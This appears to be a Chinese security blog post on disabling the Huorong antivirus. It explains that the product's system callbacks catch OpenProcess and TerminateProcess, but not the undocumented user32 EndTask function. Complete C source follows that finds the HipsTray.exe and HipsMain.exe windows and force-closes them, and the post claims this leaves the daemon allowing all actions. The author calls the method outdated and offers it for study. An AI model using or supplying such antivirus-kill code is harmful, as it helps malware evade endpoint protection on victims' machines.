一般杀毒软件会对关键函数挂钩,火绒虽然没有对底层 api
进行挂钩,但是火绒通过 windows 回调来监控整个系统。
在任务管理器中可以看到火绒有三个进程
HipsDEaemon. exe
后台守护进程

HipsMain. exe
主界面 
HipsTray. exe
托盘程序
使用
penProcess 和 TerminateProcess
是无法将进程关闭的,火绒的系统回调会监控到
openprocess。但是可以通过一个未导出函数 EndTask
函数进行关闭,该函数并没有被其挂钩进行监控。
使用processhacker查看csrss.exe 看到HipsTray的权限为全部
如果把火绒的托盘程序杀掉后 守护程序会放行所以操作
不过该方法现在已经用不了了 只作为一种学习思路学习下 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| #include <Windows.h> #include"tlhelp32.h" typedef BOOL(WINAPI *pEndTask)(HWND hWnd, BOOL fShutDown, BOOL fForce);
HWND GetXHandle(LPCWSTR procName) { DWORD iProcID = 0; PROCESSENTRY32 pEntry = { sizeof(PROCESSENTRY32) };
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); if (hSnapshot != INVALID_HANDLE_VALUE) { if (Process32First(hSnapshot, &pEntry)) { while (Process32Next(hSnapshot, &pEntry)) { if (lstrcmpi(procName, pEntry.szExeFile) == 0) { iProcID = pEntry.th32ProcessID; CloseHandle(hSnapshot); break; } } } }
HWND hwnd = GetTopWindow(NULL); while (hwnd) { DWORD pid = 0; DWORD dwProcessId = GetWindowThreadProcessId(hwnd, &pid);
if (dwProcessId != 0) { if (pid == iProcID) { return hwnd; } }
hwnd = GetNextWindow(hwnd, GW_HWNDNEXT); } return NULL; } void main() {
HMODULE hModule = LoadLibraryA("user32.dll"); pEndTask endTask = (pEndTask)GetProcAddress(hModule, "EndTask"); HWND hwnd = GetXHandle(L"HipsTray.exe"); endTask(hwnd, FALSE, 1); hwnd = GetXHandle(L"HipsMain.exe"); endTask(hwnd, FALSE, 1); }
|
csrss.exe
References
https://czm23333.github.io/2021/11/07/C-Windows-%E7%A6%81%E7%94%A8%E7%81%AB%E7%BB%92%E4%B8%BB%E5%8A%A8%E9%98%B2%E5%BE%A1/